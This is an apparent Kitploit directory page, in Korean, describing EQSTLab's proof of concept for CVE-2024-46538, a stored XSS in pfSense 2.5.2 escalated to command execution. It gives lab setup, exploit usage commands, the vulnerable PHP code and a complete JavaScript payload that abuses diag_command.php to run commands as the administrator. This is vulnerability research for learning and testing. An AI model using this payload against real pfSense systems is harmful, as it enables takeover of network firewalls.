Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-46538 — PfSense 저장형 XSS로 인한 임의 코드 실행 익스플로잇 | Kitploit
도구/GitHubGitHub/eqstlab/cve-2024-46538
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubeqstlab/cve-2024-46538

CVE-2024-46538

PfSense 저장형 XSS로 인한 임의 코드 실행 익스플로잇

저장소 보기
5181년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

This post is a research article published by EQSTLab.

Thanks to physicszq, who discovered this vulnerability.

CVE-2024-46538

★ CVE-2024-46538 PfSense 저장형 XSS로 인한 임의 코드 실행 PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

Description

CVE-2024-46538 : PfSense 저장형 XSS 취약점

설명: pfsense v2.5.2의 XSS(교차 사이트 스크립팅) 취약점으로 인해 공격자가 interfaces_groups_edit.php의 $pconfig 변수에 주입한 조작된 페이로드를 통해 임의의 웹 스크립트 또는 HTML을 실행할 수 있습니다.

Lab Setup

취약한 버전(v2.5.2) 다운로드:

가상 머신 설정

Oracle Virtual Box에서 실행

1. 가상 머신 생성 alt text

2. 어댑터 1, 2를 다음과 같이 설정: alt text alt text

3. 부팅 순서를 다음과 같이 설정: alt text

4. 지시 사항을 다음과 같이 따르세요: alt text alt text alt text alt text alt text alt text alt text

사용 방법

Git 클론

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

패키지 설치

root@kitploit:~
pip install -r requirements.txt

명령어

root@kitploit:~
# 악성 JavaScript 페이로드 저장 (사용자 지정 JS 서버 없음)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# 악성 JavaScript 페이로드 저장 (사용자 지정 JS 서버 사용)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

출력

CVE-2024-46538.py alt text

분석

/src/usr/local/www/interfaces_groups_edit.php

root@kitploit:~
if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Create new group
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

interfaces_groups_edit.php의 $pconfig 변수에 대한 필터링 부재로 인해 교차 사이트 스크립팅(XSS) 취약점이 발생합니다. 이 XSS 취약점으로 인해 공격자는 diag_command.php 엔드포인트를 활용하여 관리자를 대상으로 임의의 명령을 실행할 수 있습니다. 예를 들어, 다음 JavaScript는 임의 코드 실행으로 이어질 수 있습니다.

mal.js

root@kitploit:~
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

시나리오

사용자 (권한: WebCfg - Interfaces: Groups: Edit) --(악성 JavaScript 코드 저장)--> 관리자 (코드 실행 권한 보유) --(interfaces_groups.php 읽기)--> JavaScript 코드 실행 --> 코드 실행

면책 조항

이 저장소는 CVE-2024-46538에 대한 XSS 익스플로잇으로 사용하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.

참고 자료

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#

도구 다운로드